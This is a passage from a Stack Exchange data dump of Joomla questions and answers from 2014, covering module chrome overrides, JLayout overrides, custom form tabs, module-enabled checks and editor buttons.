$module-&amp;gt;content; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-08-24T10:44:20.247" LastActivityDate="2014-08-24T13:00:22.813" Title="Applying custom module chrome under J3.3.3" Tags="|module|joomla-3.3.x|module-style|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4187" PostTypeId="2" ParentId="4134" CreationDate="2014-08-24T09:59:01.163" Score="2" Body="&lt;p&gt;No sure what happened but updating to Joomla 3.3.3 solve it:&#xA;I could reproduce under J3.3.3, the same error I had under J3.3.1 by modifying the module chrome file (\templates\mytemplate\html\module.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't edited this file since a least a full month before the issue happened so I can't find out what was wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, it's back now! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actualy updating to 3.3.2 didn't solve it, but it helped me to find a way to go around the bug. For still unknow reason, if I have a modules.php in mytemplate/html, then some pages on my website are unavailable. &#xA;I went around by adding my chrome directly in templates\system\html\modules.php. Not the best method but  at least my website is back and with a nice module chrome! &lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-11-23T09:50:57.563" LastActivityDate="2014-11-23T09:50:57.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4188" PostTypeId="2" ParentId="4108" CreationDate="2014-08-24T10:00:01.580" Score="1" Body="&lt;p&gt;No sure what happened but updating to Joomla 3.3.3 solve it:&#xA;I could reproduce under J3.3.3, the same error I had under J3.3.1 by modifying the module chrome file (\templates\mytemplate\html\module.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't edited this file since a least a full month before the issue happened so I can't find out what was wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, it's back now! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Actually updating to 3.3.2 didn't solve it, but it helped me to find a way to go around the bug. For still unknown reason, if I have a modules.php in mytemplate/html, then some pages on my website are unavailable. &#xA;I went around by adding my chrome directly in templates\system\html\modules.php. Not the best method but  at least my website is back and with a nice module chrome! &lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-11-23T09:51:36.887" LastActivityDate="2014-11-23T09:51:36.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4189" PostTypeId="2" ParentId="4186" CreationDate="2014-08-24T13:00:22.813" Score="6" Body="&lt;p&gt;Looking at the Protostar template, it uses &lt;em&gt;modules.php&lt;/em&gt; so try changing your file from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;module.php&lt;/code&gt; to &lt;code&gt;modules.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;s&lt;/code&gt; on the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, on your &lt;code&gt;jdoc&lt;/code&gt; includes, try adding a space before the forward slash at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;style=&quot;megarounded&quot;/&amp;gt;&lt;/code&gt; to &lt;code&gt;style=&quot;megarounded&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-24T13:00:22.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4190" PostTypeId="1" CreationDate="2014-08-24T13:05:03.547" Score="1" ViewCount="467" Body="&lt;p&gt;With a content plugin and the onContentPrepareForm trigger, I inject custom extra fields into article's edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that my &lt;strong&gt;Custom Fields Tab&lt;/strong&gt; binds with the &lt;strong&gt;Article's Options Tab&lt;/strong&gt; (layouts/ /joomla/edit/params). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean is that any extra tab with form &lt;code&gt;&amp;lt;fields&amp;gt;&lt;/code&gt; that is injected with the onContentPrepareForm, it is &quot;generated&quot; in conjunction with the &quot;Options&quot; Tab  (params/attrib form layout for). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Com_content has settings to show/hide article options tab (and other tabs). But my custom tab listen also to this show/hide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to have the article options set to component's default set in &quot;Options&quot;  and hidden for the user, while only displaying my custom fields tab. &#xA;But I have no success so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have anyone any idea of what I should look for?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="1538" LastEditDate="2014-08-27T10:36:32.857" LastActivityDate="2014-09-26T11:30:53.990" Title="Separate custom fields in com_content from the options tab" Tags="|component|plugin|overrides|com-content|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4191" PostTypeId="1" AcceptedAnswerId="4192" CreationDate="2014-08-24T13:48:11.893" Score="2" ViewCount="2774" Body="&lt;p&gt;I am looking for a way to override the joomla.edit.params layout only for the com_content, which is rendered with the: &lt;code&gt;JLayoutHelper::render('joomla.edit.params', $this)&lt;/code&gt;&lt;br&gt;&#xA;on the:&lt;br&gt;&#xA;&lt;code&gt;administrator/components/com_content/view/article/tmpl/edit.php&lt;/code&gt;, at about line 135.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use a different layout only for the com_content component?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-25T18:33:12.063" LastActivityDate="2015-02-17T20:23:13.273" Title="JLayout: Overriding joomla.edit.params layout only for com_content" Tags="|joomla-api|overrides|template-override|layout|jlayout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4192" PostTypeId="2" ParentId="4191" CreationDate="2014-08-24T13:49:24.003" Score="3" Body="&lt;p&gt;It is possible to create an override for the edit params layout only for the com_content component.&lt;/p&gt;&#xA;&lt;p&gt;In general the JLayout system will search for overrides in the following folders, with priority order as shown:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1. templates/mytemplate/html/layouts/com_mycomponent&#xA;2. components/com_mycomponent/layouts&#xA;3. templates/mytemplate/html/layouts&#xA;4. layouts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;There is a thorough presentation of the new JLayout &lt;a href=&quot;http://magazine.joomla.org/issues/issue-nov-2013/item/1590-jlayout-layouts-improvements-joomla-3-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Below I will describe how I did this override, since I also needed to override the edit.php template for the com_content.&lt;/p&gt;&#xA;&lt;p&gt;First you will need to create a new folder for the custom layout overrides.&#xA;I would choose to create a folder named &amp;quot;overrides&amp;quot; and put it in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;administrator/templates/isis/html/layouts/overrides&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;JLayoutHelper:render&lt;/code&gt; method will first search inside this folder when looking for the &lt;code&gt;joomla.edit.params&lt;/code&gt; layout. In order to load it, you will need to keep the same structure inside the overrides folder. So the params.php file should be placed like: &lt;code&gt;/overrides/joomla/edit/params.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, you will need to create an override for the edit.php template file of the article view, from which you will call the custom layout.&lt;/p&gt;&#xA;&lt;p&gt;Inside the html folder of the isis temlpate, create a folder for the com_content overrides, name it &amp;quot;com_content&amp;quot;, and then a folder for the article view's template files, named &amp;quot;article&amp;quot;.&#xA;Copy the edit.php file from the component and drop it in the article folder.&lt;/p&gt;&#xA;&lt;p&gt;Now, inside the edit.php, you can adjust the JLayoutHelper::render method and pass to it a new base path to look for the alternative layout like below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.edit.params', $this, $basePath = JPATH_ADMINISTRATOR .'/templates/isis/html/layouts/overrides'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will look for a params.php layout, inside the :&#xA;&lt;code&gt;administrator/templates/isis/html/layouts/overrides/joomla/edit&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;You can keep things simpler if you just place the params.php inside the overrides folder and call it like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('params', $this, $basePath = JPATH_ADMINISTRATOR .'/templates/isis/html/layouts/overrides'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Finally, remember to also add index.html files inside any newly created folder.&lt;/p&gt;&#xA;&lt;h3&gt;JLayout Useful Links:&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://magazine.joomla.org/issues/issue-nov-2013/item/1590-jlayout-layouts-improvements-joomla-3-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;JLayout Presentation at Joomla Magazine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sharing Layouts across views or extensions - Tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/packages/Joomla.Libraries.Layout.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla: Layout API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-02-17T20:23:13.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4193" PostTypeId="1" CreationDate="2014-08-24T15:03:31.667" Score="1" ViewCount="472" Body="&lt;p&gt;I can't edit anymore in the frontend. Each time I want to apply my changes I get an error &quot;Field required: Category&quot;. Any idea how to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: this question has already been asked &lt;a href=&quot;https://joomla.stackexchange.com/questions/3773/articles-frontend-editing-issue-field-required-category&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-08-24T15:20:37.393" Title="Upgraded to 3.3: can't save in Frontend anymore (&quot;category field required&quot;)" Tags="|joomla-3.3.x|front-end|" AnswerCount="1" CommentCount="4" ClosedDate="2014-08-26T16:56:14.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="4194" PostTypeId="2" ParentId="4193" CreationDate="2014-08-24T15:09:38.150" Score="3" Body="&lt;p&gt;There is known bug on the 3.3.3 version : &#xA;Articles with multilanguage associations cannot be saved in frontend since 3.3.3. Error: &quot;Warning: Field required: Category&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A ticket has been submitted &lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/&amp;amp;action=TrackerItemEdit&amp;amp;tracker_item_id=24698/?action=TrackerItemEdit&amp;amp;tracker_item_id=34080&amp;amp;start=9125&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-08-24T15:09:38.150" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4195" PostTypeId="2" ParentId="4175" CreationDate="2014-08-24T15:53:00.590" Score="1" Body="&lt;p&gt;It is not that clear you are after here, and I don't think that there is going to be an easy and one-go way. You probably have to look for a 3rd party extension, but it is recommended to make a descriptive explanation of what you want to achieve. At the end, this could be an &lt;a href=&quot;http://extensions.joomla.org/extensions/e-commerce&quot; rel=&quot;nofollow&quot;&gt;e-commerce component&lt;/a&gt; working as a product catalogue, or maybe a &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/tables-a-lists&quot; rel=&quot;nofollow&quot;&gt;tables/spreadsheets&lt;/a&gt; extensions could work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But generally, you will need a way to manage/update/create new records in a database table and then have a way to call them in your content. &#xA;If you want to use brackets that will be translated into content from the database, then I guess you will need a content plugin and that the &quot;variables&quot; inside the brackets should be unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mentioned an e-commerce extension, because it may provide a way to maintain your &quot;catalogue&quot; and many of them come with content plugins, which you could use/fork in order to display data from their tables in content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, this could be also possible with a &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction&quot; rel=&quot;nofollow&quot;&gt;CCK&lt;/a&gt; and a content plugin, that will let you call text from custom fields. Probably you will need to write your own plugin.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-24T16:38:38.603" LastActivityDate="2014-08-24T16:38:38.603" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4196" PostTypeId="2" ParentId="646" CreationDate="2014-08-24T17:22:15.710" Score="9" Body="&lt;p&gt;In addition to Michael's answer, the JApplicationWebClient Class has a few other useful properties:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$client = JFactory::getApplication()-&amp;gt;client;&#xA;&#xA;$client-&amp;gt;browser;&#xA;// The detected browser used by the web client (returns an integer)&#xA;&#xA;$client-&amp;gt;browserVersion;&#xA;// The detected browser version used by the web client. (string)&#xA;&#xA;$client-&amp;gt;mobile;&#xA;// True if the web client is a mobile device (Boolean)&#xA;&#xA;$client-&amp;gt;platform;&#xA;// The detected platform on which the web client runs (integer)&#xA;&#xA;$client-&amp;gt;userAgent;&#xA;//The web client's user agent string. (string)&#xA;&#xA;$client-&amp;gt;robot;&#xA;// True if the web client is a robot (Boolean)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JApplicationWebClient.html&quot; rel=&quot;nofollow&quot;&gt;JApplicationWebClient Class API Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-06-20T10:10:15.417" LastActivityDate="2016-06-20T10:10:15.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4197" PostTypeId="1" AcceptedAnswerId="4202" CreationDate="2014-08-24T23:23:04.480" Score="7" ViewCount="2416" Body="&lt;p&gt;I'm currently trying to check if a specific module is enabled by using Joomla's &lt;code&gt;JModuleHelper::isEnabled()&lt;/code&gt;, however the problem being is that it is always returning &lt;strong&gt;false&lt;/strong&gt;, despite whether it is actually enabled or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having looked at the &lt;a href=&quot;http://docs.joomla.org/JModuleHelper/isEnabled&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;, I've written the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.module.helper');        &#xA;$freichat = JModuleHelper::isEnabled('FreiChat-I');&#xA;&#xA;if($freichat) {&#xA;    $message = 'Enabled';&#xA;}&#xA;else {&#xA;    $message = 'Disabled';&#xA;}&#xA;&#xA;$application = JFactory::getApplication();&#xA;$application-&amp;gt;enqueueMessage( $message, 'warning');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried changing &lt;code&gt;FreiChat-I&lt;/code&gt; to &lt;code&gt;login&lt;/code&gt;, which then always returns &lt;strong&gt;true&lt;/strong&gt;, despite being enabled or disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a known bug that I'm unaware of or am I simply doing something stupid here?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2014-08-26T14:46:42.627" LastActivityDate="2017-04-15T19:45:09.207" Title="Check if module is enabled" Tags="|joomla-3.x|module|joomla-api|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4198" PostTypeId="2" ParentId="4197" CreationDate="2014-08-25T06:43:05.847" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JModuleHelper.html#method_isEnabled&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;public static function isEnabled($module);&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Checks if a module is enabled. A given module will only be returned if&#xA;  it meets the following criteria: it is enabled, it is assigned to the&#xA;  current menu item or all items, and the user meets the access level&#xA;  requirements.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use a db query instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery(&quot;SELECT `published` FROM `#__modules` WHERE `title` = 'Breadcrumbs'&quot;);&#xA;$is_enabled = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-08-25T21:15:56.997" LastActivityDate="2014-08-25T21:15:56.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4199" PostTypeId="2" ParentId="4197" CreationDate="2014-08-25T06:45:53.363" Score="4" Body="&lt;p&gt;The API page is here: &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JModuleHelper.html#method_isEnabled&quot; rel=&quot;nofollow&quot;&gt;http://api.joomla.org/cms-3/classes/JModuleHelper.html#method_isEnabled&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to either pass the name of the module or the folder of it. So for the breadcrumbs module it would be either 'Breadcrumbs' or 'mod_breadcrumbs'. You can't use the title of the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without knowing the name or folder of your module, I can't tell you more.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-08-25T06:45:53.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4201" PostTypeId="2" ParentId="4197" CreationDate="2014-08-25T14:43:12.940" Score="1" Body="&lt;p&gt;Thanks to everyone for taking them time to answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having looked at the &lt;code&gt;#__extensions&lt;/code&gt; table, I noticed that the &lt;code&gt;enabled&lt;/code&gt; column was not being updated, even when I had, disabled a module, removed its position and unassigned it from all pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I decided to run a database query to check the existence of &lt;code&gt;mod_freichatx&lt;/code&gt; in the table and display the &lt;code&gt;enqueueMessage&lt;/code&gt; accordingly.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-04-15T19:45:09.207" LastActivityDate="2017-04-15T19:45:09.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4202" PostTypeId="2" ParentId="4197" CreationDate="2014-08-25T15:49:43.517" Score="4" Body="&lt;p&gt;&lt;code&gt;JModuleHelper::isEnabled()&lt;/code&gt; does not seem to account for any type of case sensitivity. So for example, using @Bakual's answer, your options are actually either &lt;code&gt;mod_breadcrumbs&lt;/code&gt; or &lt;code&gt;breadcrumbs&lt;/code&gt; (not &lt;code&gt;Breadcrumbs&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, in your case, you would want to do &lt;code&gt;JModuleHelper::isEnabled('freichat')&lt;/code&gt;. From looking at the table, everything will always be lowercase, so if you pass in a capital letter, you will get &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that the extension not only has to be installed and enabled, but there much be an instance of the module published on the site.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-25T15:49:43.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4203" PostTypeId="2" ParentId="4190" CreationDate="2014-08-25T16:54:03.160" Score="2" Body="&lt;p&gt;Getting all that functionality with a plugin will be difficult. The xml form system Joomla uses for its forms/tabs is pretty complex in how it builds itself. Also to my knowledge there is no key &quot;events&quot; at stages that will let you change what form XML may be loaded (that and a Joomla update that renames a couple things or adds another field would ruin it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here is my thought.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//regex&#xA;$regex  = '/\&amp;lt;input[^&amp;gt;]*\stype=\&quot;hidden\&quot;[^&amp;gt;]*\sname=\&quot;jform\[params\]\[plugin\]\&quot;[^&amp;gt;]*\sid=\&quot;jform_params_plugin\&quot;[^&amp;gt;]*\svalue=\&quot;1\&quot;[^&amp;gt;]*\s\/\&amp;gt;/i';&#xA;&#xA;//check for match&#xA;if(preg_match($regex,$buffer)){&#xA;&#xA;   //bind an xml form&#xA;   $xml = simplexml_load_file(PATH_TO_XML_FILE.'.xml');&#xA;   if($form = JForm::getInstance((string)$xml-&amp;gt;name,$xml-&amp;gt;asXML())){&#xA;       $arr = array();&#xA;       //here you need to build an array to auto fill the data from the form, &#xA;       //if you already had this working to an extent I am sure it will be fine.&#xA;       $form-&amp;gt;bind($arr);&#xA;   }&#xA;&#xA;   $content = '';&#xA;   //here you need to basically get the form fields into content as text to be added to&#xA;   //the current output, there are many ways to do this.&#xA;&#xA;   //replace the current output of Joomla to add the extra fields&#xA;   $buffer = preg_replace($regex,$content,$buffer);&#xA;   JFactory::getDocument()-&amp;gt;setBuffer($buffer, 'component');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To explain, first the regular expression is finding a form field in the current output of the page (this can be ones from your options tab). If it finds a match it loads an xml file of your fields and then replaces them with yours. Given that you had said that you got some distance I am sure this might only build on that if anything.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-08-25T16:54:03.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4204" PostTypeId="1" AcceptedAnswerId="4206" CreationDate="2014-08-25T18:26:27.453" Score="15" ViewCount="11357" Body="&lt;p&gt;I want to set up my template so it will display different layout depending on what component is being used on current page. How to check for this?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="168" LastEditDate="2014-08-25T19:11:19.940" LastActivityDate="2020-11-22T22:38:34.693" Title="How to check what component is being used on current page?" Tags="|joomla-3.x|joomla-2.5|joomla-api|templates|jrequest|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4205" PostTypeId="2" ParentId="4204" CreationDate="2014-08-25T18:29:25.447" Score="9" Body="&lt;h2&gt;For Joomla 2.5&lt;/h2&gt;&#xA;&lt;p&gt;We can check by getting the URL parameters, using the &lt;code&gt;JRequest::getVar()&lt;/code&gt; method and check for the option parameter.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.environment.request' );&#xA;echo JRequest::getVar('option', '')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JRequest.html#method_getVar&quot; rel=&quot;noreferrer&quot;&gt;JRequest API Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-25T19:10:33.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4206" PostTypeId="2" ParentId="4204" CreationDate="2014-08-25T19:07:05.120" Score="25" Body="&lt;h2&gt;For Joomla 3.x&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While the code from the other answer will work, &lt;code&gt;JRequest&lt;/code&gt; is deprecated, therefore you should use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;echo $jinput-&amp;gt;get('option');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, if you are displaying an Article and use the above code, it will output &lt;code&gt;com_content&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2015-08-10T11:24:42.503" LastActivityDate="2015-08-10T11:24:42.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4207" PostTypeId="1" AcceptedAnswerId="4208" CreationDate="2014-08-25T19:58:19.100" Score="4" ViewCount="485" Body="&lt;p&gt;I'm currently developing a component and I'm using a form. I'd like to give the user a limited access to the functionality of the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://docs.joomla.org/Editor_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Editor_form_field_type&lt;/a&gt; I can limit the functionality with the help of the parameter &quot;hide&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hide (optional) array of plugin buttons to be hidden. eg... set&#xA;  buttons=&quot;true&quot; hide=&quot;readmore,pagebreak&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This works perfectly fine for those two mentioned buttons, but where can i find a list of all the editor buttons? (Marked ones in the following image) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IIXGK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My form-xml looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;        name=&quot;editorField&quot;&#xA;        type=&quot;editor&quot;&#xA;        description=&quot;COM_HELLOWORLD_FORM_EDITOR&quot;&#xA;        label=&quot;COM_HELLOWORLD_FORM_EDITOR_LABEL&quot;&#xA;        required=&quot;true&quot;&#xA;        hide=&quot;readmore,pagebreak&quot;&#xA;        size=&quot;20&quot; &#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="280" LastEditorUserId="126" LastEditDate="2014-08-26T14:49:28.400" LastActivityDate="2014-08-26T14:49:28.400" Title="Where can I find list of the available Joomla-WYSIWYG-Editor buttons etc" Tags="|development|editor|xml|form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4208" PostTypeId="2" ParentId="4207" CreationDate="2014-08-25T20:10:16.800" Score="4" Body="&lt;p&gt;These buttons are coming from the editors XTD plugins. The defaults XTD buttons are article, pagebreak, readmore, image. But there are extensions that can install their own XTD buttons, e.g Joomla Works Simple Image Gallery Pro, or NoNumber Content Templater etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check in the plugin manager for the Editor's plugin to see what's there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think I misunderstood your question, and you have misunderstood what the hide parameter does and what is meant with the plugin buttons for the editor form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you can't control the Tiny MCE features from the XML. There are some settings that allow a level of control if you go to edit the tinyMCE plugin, through the plugin manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest to use another editor like JCE and create your desired profiles to assign it for each use-case.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-25T20:30:19.407" LastActivityDate="2014-08-25T20:30:19.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4209" PostTypeId="2" ParentId="4207" CreationDate="2014-08-25T20:17:44.720" Score="5" Body="&lt;p&gt;Every folder inside the following folder is a plugin for Tiny-MCE editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/media/editors/tinymce/plugins/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;advlist&#xA;anchor&#xA;autolink&#xA;autoresize&#xA;autosave&#xA;bbcode&#xA;charmap&#xA;code&#xA;colorpicker&#xA;compat3x&#xA;contextmenu&#xA;directionality&#xA;emoticons&#xA;example&#xA;example_dependency&#xA;fullpage&#xA;fullscreen&#xA;hr&#xA;image&#xA;importcss&#xA;insertdatetime&#xA;layer&#xA;legacyoutput&#xA;link&#xA;lists&#xA;media&#xA;nonbreaking&#xA;noneditable&#xA;pagebreak&#xA;paste&#xA;preview&#xA;print&#xA;save&#xA;searchreplace&#xA;spellchecker&#xA;tabfocus&#xA;table&#xA;template&#xA;textcolor&#xA;textpattern&#xA;visualblocks&#xA;visualchars&#xA;wordcount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-08-25T20:17:44.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4210" PostTypeId="2" ParentId="4169" CreationDate="2014-08-25T20:57:23.847" Score="1" Body="&lt;p&gt;Obviously and from the comments, the Repeatable Form Field is still very buggy and under development. Therefore we shall wait for some time for it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-25T20:57:23.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
